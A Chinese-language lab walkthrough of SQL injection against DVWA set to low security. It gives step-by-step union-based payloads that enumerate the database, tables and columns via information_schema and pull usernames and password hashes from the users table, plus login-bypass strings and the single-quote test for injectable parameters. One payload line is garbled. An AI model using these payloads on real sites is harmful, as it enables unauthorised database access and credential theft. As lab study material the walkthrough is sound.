sql注入
实验楼下运行
按照实验楼步骤安装dvwa,安装完成后登陆将运行级别调为low
进入sql injection,进行实验
在输入框中输入 1' order by 1#
这句话的意思是查询users表中user_id为1的数据并按照第一列的数据进行排序,此时数据显示正常
当输入到1' order by 3#,出现如下界面,说明该数据表只有两列数据
我们可以使用union联合查询,union能将两个或两个以上select语句的查询结果合并成一个结果集合显示,及执行联合查询。注意union查询时需和主查询列数相同。
输入1' union select database(),user()#
database()返回当前网站所使用的数据库名字,user()返回执行当前查询的用户名
再输入1' union select version(),@@version_compile_os#
version()获取当前数据库版本,@@version_compile_os获取当前操作系统。
接下来我们尝试获取 dvwa 数据库中的表名。 information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'# ,得到dvwa这个数据库中有guestbook和users两个数据表。
接下来爆一下users表的列,输入1' union select 1,column_name from information_schema.columns where table_name='users'#,爆破出users表的列其中有user、password两列最重要
输入1' union select user,password from users#,可爆破出用户名和密码。
在登录账户页面还可尝试 1' of 1=1# am早mysql语法,#后面的内容会被忽略
或者输入1' or '1'='1 这种方式需要在用户名和密码框都输入该注入
判断sql注入点
通常情况下,可能存在 Sql 注入漏洞的 Url 是类似这种形式 :http://xxx.xxx.xxx/abcd.php?i... 对 Sql 注入的判断,主要有两个方面:
判断该带参数的 Url 是否存在 Sql 注入?
如果存在 Sql 注入,那么属于哪种 Sql 注入?
可能存在 Sql 注入攻击的 ASP/PHP/JSP 动态网页中,一个动态网页中可能只有一个参数,有时可能有多个参数。有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的 动态网页且此网页访问了数据库,那么就有可能存在 Sql 注入。如果程序员没有足够的安全意识,没有进行必要的字符过滤,存在SQL注入的可能性就非常大。
最为经典的单引号判断法: 在参数后面加上单引号,比如:
http://xxx/abc.php?id=1'
如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
sql注入常用技术有段还包括:
采用非主流通道技术
避开输入过滤技术
使用特殊的字符
强制产生错误
使用条件语句
利用存储过程
推断技术